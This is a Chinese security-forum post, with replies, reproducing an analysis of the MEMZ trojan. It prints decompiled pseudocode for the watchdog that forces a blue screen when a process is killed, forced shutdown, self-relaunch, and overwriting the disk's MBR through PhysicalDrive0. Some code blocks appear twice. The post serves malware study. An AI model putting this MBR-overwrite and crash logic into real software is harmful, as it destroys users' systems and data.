首页
社区
课程
招聘
[原创]对彩虹猫样本分析的复现
发表于: 2021-3-2 22:41 8384

[原创]对彩虹猫样本分析的复现

2021-3-2 22:41
8384

彩虹猫是一个非常有意思的病毒样本,我在看雪上,看到挺多这样的贴子。出于学习的目的,这里我对彩虹猫的分析进行一次复现。如有不足之处,请批评指正。

病毒分析环境的详细介绍
样本名称:MEMZ.exe
MD5: 19DBEC50735B5F2A72D4199C4E184960
SHA1: 6FED7732F7CB6F59743795B2AB154A3676F4C822
实验平台:wind10
实验工具:PEiD v0.95,IDA x32 v7.4,VMWare WorkStation v15.56、Olly ICE v1.10

分析的流程:

从第一个函数API中,我们需要知道sub_40114A的含义,具体的代码,如下:

sub_401021()这里起什么作用呢?

sub_401021确实是一个强制关机的函数,先创建线程用于弹出大量位置和内容都随机的窗口,再使用蓝屏或退出Windows的方式强制关闭计算机。

分析注册并创建窗口这个API,调用RegisterClassExA注册了一个名为“hax”的用户自定义窗口类型,并用CreateWindowExA将其创建。
回调函数sub_401000(),代码如下:

sub_401021这个强制关机函数在两处被调用。第一个是监测watchdog进程数量,如有减少就调用。第二个是监测用户是否主动关机,如有也调用。这和我们观察阶段看到的完全一致。
GetMessage、TranslateMessage、DispatchMessage被包进一个大的while循环,这是常见的操作,叫做“消息循环”。由于在前面创建了窗口,并且还对发送给窗口的消息进行了过滤,意味着我们必须自己写消息循环完成收取消息和派发消息的工作,否则创建的窗口是收不到消息的。

这里引用一段关于消息循环的说明。
while(GetMessage(&Msg, NULL, 0, 0) > 0)
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}

上面代码的执行过程为:

关于main部分,这里我借鉴一些另一位大神的内容,也写一个MBP部分。

四、 刨根问底,力求搞懂
MBR全称主引导记录(Master Boot Record),整个硬盘最开头的512字节就是它。计算机启动后会先运行MBR里的代码进行各种状态的检查和初始化的工作,然后再把控制权转交给操作系统(简单地讲就是一个JMP指令跳到操作系统的起始代码),Windows就加载启动了。
而彩虹猫病毒,则是直接覆盖了MBR部分,用自己的代码代替,不交出控制权,wind就无法启动。
图片描述
首先通过CreateFile函数打开主硬盘。PhysicalDrive0,就是用来读取主硬盘的函数。然后用0初始化一段内存,空间大小用V4表示。通过指针的方式,将第一段数据拷贝到byte_402118大小,将第二段数据拷贝到byte_402248大小。

这里借着MBR,介绍一下Bootkit,拓展一下。
Rootkit高效的获取系统准入使得安全领域的检测技术受到极大的挑战。为防止内核模式的恶意软件以及数字权限管理(DRM)的侵犯,微软在其Vista操作系统及其后续版本中增加了安全策略,在其设备驱动中要求数字签名。这一安全机制,一方面增强了系统安全,而另一方面也防止了合法的第三方应用软件开发商驱动程序。而 Bootkit的出现已攻破windows的设备驱动签名请求。
Bootkit主要利用其内核准入和开机过程的隐身技术,在功能上并无异于Rootkit。他们的不同主要表现在获取准入的方式上。传统的Rootkit利用系统启动时提升权限。而 Bootkit是被安置在外设的主引导扇区和驻留在整个系统的启动过程。
Bootkit病毒是指寄存于磁盘主引导区,通过系统启动来进行提权的病毒。磁盘的主引导区(MBR),是指计算机的被设为启动磁盘的第一个扇区,其中存放着由BIOS(标准输入输出服务,完成基本的系统硬件的初始化,并为操作系统提供基本硬件访问接口)初始化后的将要被加载到内存的代码和硬盘的分区信息,通常这段代码运行后会在存贮在硬盘。图 10-6-3显示了一个MBR被修改的截图。

 
if ( !lstrcmpW(v1[1], L"/watchdog") )
    {
      CreateThread(0, 0, sub_40114A, 0, 0, 0);                                     //创建线程
      pExecInfo.lpVerb = (LPCWSTR)48;
      pExecInfo.lpParameters = (LPCWSTR)sub_401000;
      pExecInfo.u.hIcon = "hax";
      pExecInfo.lpFile = 0;
      pExecInfo.lpDirectory = 0;
      pExecInfo.nShow = 0;
      pExecInfo.hInstApp = 0;
      pExecInfo.lpIDList = 0;
      pExecInfo.lpClass = 0;
      pExecInfo.hkeyClass = 0;
      pExecInfo.dwHotKey = 0;
      pExecInfo.hProcess = 0;
      RegisterClassExA((const WNDCLASSEXA *)&pExecInfo.lpVerb);                     //注册窗口
      CreateWindowExA(0, "hax", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);                  //创建窗口
      while ( GetMessageW(&Msg, 0, 0, 0) > 0 )
      {
        TranslateMessage(&Msg);                                                     //消息循环
        DispatchMessageW(&Msg);
      }
    }
if ( !lstrcmpW(v1[1], L"/watchdog") )
    {
      CreateThread(0, 0, sub_40114A, 0, 0, 0);                                     //创建线程
      pExecInfo.lpVerb = (LPCWSTR)48;
      pExecInfo.lpParameters = (LPCWSTR)sub_401000;
      pExecInfo.u.hIcon = "hax";
      pExecInfo.lpFile = 0;
      pExecInfo.lpDirectory = 0;
      pExecInfo.nShow = 0;
      pExecInfo.hInstApp = 0;
      pExecInfo.lpIDList = 0;
      pExecInfo.lpClass = 0;
      pExecInfo.hkeyClass = 0;
      pExecInfo.dwHotKey = 0;
      pExecInfo.hProcess = 0;
      RegisterClassExA((const WNDCLASSEXA *)&pExecInfo.lpVerb);                     //注册窗口
      CreateWindowExA(0, "hax", 0, 0, 0, 0, 100, 100, 0, 0, 0, 0);                  //创建窗口
      while ( GetMessageW(&Msg, 0, 0, 0) > 0 )
      {
        TranslateMessage(&Msg);                                                     //消息循环
        DispatchMessageW(&Msg);
      }
    }
v7 = 0;
lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);               //分配地址空间
v1 = GetCurrentProcess();                                   //获取当前进程的句柄
GetProcessImageFileNameA(v1, (LPSTR)lpString1, 0x200u);      //获取进程的映像和路径
Sleep(0x3E8u);
while ( 1 )
{
  v2 = CreateToolhelp32Snapshot(2u, 0);                         //拍摄进程快照
  pe.dwSize = 556;
  Process32FirstW(v2, &pe);                                        //遍历
  v3 = lpString1;                                                //V3用来存储进程路径
  v4 = 0;
  do
  {
    hProcess = OpenProcess(0x400u, 0, pe.th32ProcessID);
    lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
    GetProcessImageFileNameA(hProcess, (LPSTR)lpString2, 0x200u);
    if ( !lstrcmpA(v3, lpString2) )         //比较新生成的进程和之前的路径是否相同,相同,则加1.
      ++v4;
    CloseHandle(hProcess);
    LocalFree((HLOCAL)lpString2);
  }
  while ( Process32NextW(v2, &pe) );                    //遍历
  CloseHandle(v2);
  if ( v4 < v7 )                                        //起一个监控的作用,v7存储最大的V4,如果发现进程减少,则进入sub_401021().
    sub_401021();
  v7 = v4;
  Sleep(0xAu);
}
v7 = 0;
lpString1 = (LPCSTR)LocalAlloc(0x40u, 0x200u);               //分配地址空间
v1 = GetCurrentProcess();                                   //获取当前进程的句柄
GetProcessImageFileNameA(v1, (LPSTR)lpString1, 0x200u);      //获取进程的映像和路径
Sleep(0x3E8u);
while ( 1 )
{
  v2 = CreateToolhelp32Snapshot(2u, 0);                         //拍摄进程快照
  pe.dwSize = 556;
  Process32FirstW(v2, &pe);                                        //遍历
  v3 = lpString1;                                                //V3用来存储进程路径
  v4 = 0;
  do
  {
    hProcess = OpenProcess(0x400u, 0, pe.th32ProcessID);
    lpString2 = (LPCSTR)LocalAlloc(0x40u, 0x200u);
    GetProcessImageFileNameA(hProcess, (LPSTR)lpString2, 0x200u);
    if ( !lstrcmpA(v3, lpString2) )         //比较新生成的进程和之前的路径是否相同,相同,则加1.
      ++v4;
    CloseHandle(hProcess);
    LocalFree((HLOCAL)lpString2);
  }
  while ( Process32NextW(v2, &pe) );                    //遍历
  CloseHandle(v2);
  if ( v4 < v7 )                                        //起一个监控的作用,v7存储最大的V4,如果发现进程减少,则进入sub_401021().
    sub_401021();
  v7 = v4;
  Sleep(0xAu);
}
  v1 = 20;
  do
  {
    CreateThread(0, 0x1000u, StartAddress, 0, 0, 0);        //创建20个进程
    Sleep(0x64u);
    --v1;
  }
  while ( v1 );
  v2 = v17;
  v17 = a1;
  v9 = v2;
  v3 = LoadLibraryA("ntdll");
  v4 = GetProcAddress(v3, "RtlAdjustPrivilege");
  v5 = GetProcAddress(v3, "NtRaiseHardError");
  v6 = (void (__cdecl *)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v5;
  if ( v4 && v5 )
  {
    ((void (__cdecl *)(signed int, signed int, _DWORD, char *, int, int))v4)(19, 1, 0, &v16, v15, v9);
    v6(-1073741790, 0, 0, 0, 6, &v13);
  }
//上面是主动引发蓝屏
  v7 = GetCurrentProcess();
  OpenProcessToken(v7, 0x28u, &v14);
  LookupPrivilegeValueW(0, L"SeShutdownPrivilege", (PLUID)&v11);
  v10 = 1;
  v12 = 2;
  AdjustTokenPrivileges(v14, 0, (PTOKEN_PRIVILEGES)&v10, 0, 0, 0);
  return ExitWindowsEx(6u, 0x10007u);
//这里是退出winds。
}
  v1 = 20;
  do

[峰会]看雪.第八届安全开发者峰会10月23日上海龙之梦大酒店举办!

收藏
免费 1
支持
分享
最新回复 (4)
雪    币: 2079
活跃值: (1944)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
2
大佬,可以帮忙分析解释一下写入MBR的内容吗?为什么会出现”猫“?为什么会播放音乐?感谢大佬
2021-3-3 08:58
0
雪    币: 1859
活跃值: (2240)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
3
  {
    v10 = (WCHAR *)LocalAlloc(0x40u, 0x4000u);
    GetModuleFileNameW(0, v10, 0x2000u);
    v11 = 5;
    do
    {
      ShellExecuteW(0, 0, v10, L"/watchdog", 0, 10);                                        //这里是运行一个外部程序,并对外部程序有所控制
      --v11;
    }
    while ( v11 );
    pExecInfo.cbSize = 60;
    pExecInfo.lpFile = v10;
    pExecInfo.lpParameters = L"/main";
    pExecInfo.fMask = 64;
    pExecInfo.hwnd = 0;
    pExecInfo.lpVerb = 0;
    pExecInfo.lpDirectory = 0;
    pExecInfo.hInstApp = 0;
    pExecInfo.nShow = 10;
    ShellExecuteExW(&pExecInfo);
    SetPriorityClass(pExecInfo.hProcess, 0x80u);                                             //设置当前程序运行级别为最高级
  }

另外附上一些函数的用法:


我找到一个很好的流程图,可以借鉴一下。

下面这段的代码是主要是写入MBR。

  }
    v2 = CreateFileA("\\\\.\\PhysicalDrive0", 0xC0000000, 3u, 0, 3u, 0, 0);              //访问主硬盘,MBR的开头大约有446字节
    hObject = v2;                                                                //接受返回句柄
    if ( v2 == (HANDLE)-1 )
      ExitProcess(2u);
    v3 = 0;
    v4 = LocalAlloc(0x40u, 0x10000u);                                           //分配内存
    v5 = v4;                                                                     //地址赋值
    do
    {
      ++v3;
      *v5 = v5[byte_402118 - v4];                                               //指针指向。
      ++v5;
    }                                                      
    while ( v3 < 0x12F );                                                        //304
    v6 = 0;
    do
    {
      v4[v6 + 510] = byte_402248[v6];
      ++v6;
    }
    while ( v6 < 0x7A0 );                                                         //1952字节,超出了MBR,猜测这部分是音频。
    if ( !WriteFile(v2, v4, 0x10000u, &NumberOfBytesWritten, 0) )//这一部分是检查是否可以写入到主硬盘,同时NumberOfBytesWritten,好像加密了
      ExitProcess(3u);
    CloseHandle(hObject);
    v7 = CreateFileA("\\note.txt", 0xC0000000, 3u, 0, 2u, 0x80u, 0);
    if ( v7 == (HANDLE)-1 )
      ExitProcess(4u);
    if ( !WriteFile(
            v7,
            "YOUR COMPUTER HAS BEEN FUCKED BY THE MEMZ TROJAN.\r\n"
            "\r\n"
            "Your computer won't boot up again,\r\n"
            "so use it as long as you can!\r\n"
            "\r\n"
            ":D\r\n"
            "\r\n"
            "Trying to kill MEMZ will cause your system to be\r\n"
            "destroyed instantly, so don't try it :D",
            0xDAu,
            &NumberOfBytesWritten,
            0) )
      ExitProcess(5u);
    CloseHandle(v7);
    ShellExecuteA(0, 0, "notepad", "\\note.txt", 0, 10);
    v8 = 0;
    v9 = &off_405130;
    do
    {
      Sleep((DWORD)v9[1]);
      CreateThread(0, 0, (LPTHREAD_START_ROUTINE)sub_401A2B, v9, 0, 0);
      ++v8;
      v9 += 2;
    }
    while ( v8 < 0xA );
    while ( 1 )
      Sleep(0x2710u);
  }


2021-3-3 11:03
0
雪    币: 219
活跃值: (594)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
2021-3-3 18:23
0
雪    币: 1058
活跃值: (1187)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
5
五毒女 大佬,可以帮忙分析解释一下写入MBR的内容吗?为什么会出现”猫“?为什么会播放音乐?感谢大佬[em_67]
猫和音乐应该是转换成16进制作为第二段覆盖MBR的数据了
2021-3-7 21:47
0
游客
登录 | 注册 方可回帖
返回
//